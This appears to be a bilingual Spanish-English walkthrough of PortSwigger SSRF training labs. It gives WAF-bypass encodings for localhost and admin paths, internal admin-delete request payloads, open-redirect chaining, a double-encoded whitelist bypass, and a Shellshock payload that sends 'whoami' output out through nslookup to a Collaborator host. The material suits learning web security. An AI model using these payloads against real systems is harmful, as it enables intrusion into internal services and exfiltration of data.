SSRF - PortSwigger

SSRF Tips

  • WAF URL Bypass
http://127.1/
http://127.0.0.2/
http://127.14.3.2/
http://localhOst/
http://0x7f000001/    > HEXADECIMAL
http://2130706433/    > DECIMAL
  • WAF DIRECTORY Bypass
adMin
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65

SSRF básico contra servidor local || Basic SSRF against the local server

Si hacemos una petición al localhost interno vemos que hay una ruta /admin.

Dentro del directorio /admin tenemos la opción de borrar usuarios.

  • Injection
http://localhost/admin/delete?username=carlos

SSRF básico contra sistema interno || Basic SSRF against another back-end system

Con la funcionalidad de ‘intruder’ hacemos un escaneo de puertos internos. En el escaneo encontramos el puerto 67 abierto.

Sobre la ip encontrada en el escaneo anterior, podemos hacer un fuzzing de directorios para encontrar rutas internas.

  • Injection
http://192.168.0.67:8080/admin/delete?username=carlos

SSRF básico contra sistema interno || Blind SSRF with out-of-band detection

Al hacer varias peticiones en la web, vemos que se nos crea la cabecera ‘Referer’ la cual consiste en referenciar la url anterior, es decir la url desde donde haces la petición.

Creamos nosotros una cabecera ‘Referer’ con nuestra propia url.

  • Injection
https://6z6yin2a9d4a12xom2gj9456zx5otfh4.oastify.com

SSRF con filtro basado en blacklist || SSRF with blacklist-based input filter

Al intentar hacer una petición a un recurso interno, un WAF nos bloquea la petición.

Tenemos varias formas de bypassear el WAF.

Igual que antes vemos que hay un WAF que bloquea las peticiones que contengan el directorio admin.

Para bypassear el WAF tenemos varias formas.

  • Injection
http://localhoSt/adMin/delete?username=carlos

Bypass SSRF con redirección abierta || SSRF with filter bypass via open redirection vulnerability

El parámetro ‘stockApi’ nos redirige al directorio que indiquemos dentro de la web.

En la función ‘Next product’ encontramos que el parámetro ‘path’ es vulnerable a Open Redirect.

Para lograr el SSRF combinamos la redirección a un recurso interno con el parámetro ‘stockApi’ con el Open Redirect.

  • Injection
/product/nextProduct?currentProductId=19%26path=http://192.168.0.12:8080/admin/delete?username=carlos

SSRF ciego explotando Shellshock || Blind SSRF with Shellshock exploitation

Detectamos que la cabecera ‘Referer’ es vulnerable a Blind SSRF.

Detectamos que hay una vulnerabilidad Shellshock ejecutando el comando ‘nslookup’ en una ip interna por el puerto 8080.

Para ver el output del comando ‘whoami’, podemos hacer uso de la función ‘$() como si fuera un subdominio de nuestro burp colaborator.

  • Injection
() { :; }; /usr/bin/nslookup $(whoami).0hi18rwwqo678r7xf01w6ktam1ssgq4f.oastify.com

SSRF con filtro basado en whitelist || SSRF with whitelist-based input filter

Vemos que se está empleando un WAF, el cual solo permite peticiones al dominio ‘stock.weliketoshop.net’.

Tenemos la opción de autenticar un usuario en la url, podemos usar esta opción para aprovecharnos.

Para que la web nos interprete la url ‘localhost’, podemos hacer uso del hash ‘#’, el cual convertiría el dominio requerido por un directorio ‘vacío’ /#stock.weliketoshop.net. De esta forma respetamos la sintaxis de la autenticación permitida. Para que la web interprete el ‘/#’ como parte de la misma url, tenemos que hacer un doble URL encode.

  • Injection
http://localhost%25%32%66%25%32%33@stock.weliketoshop.net/admin/delete?username=carlos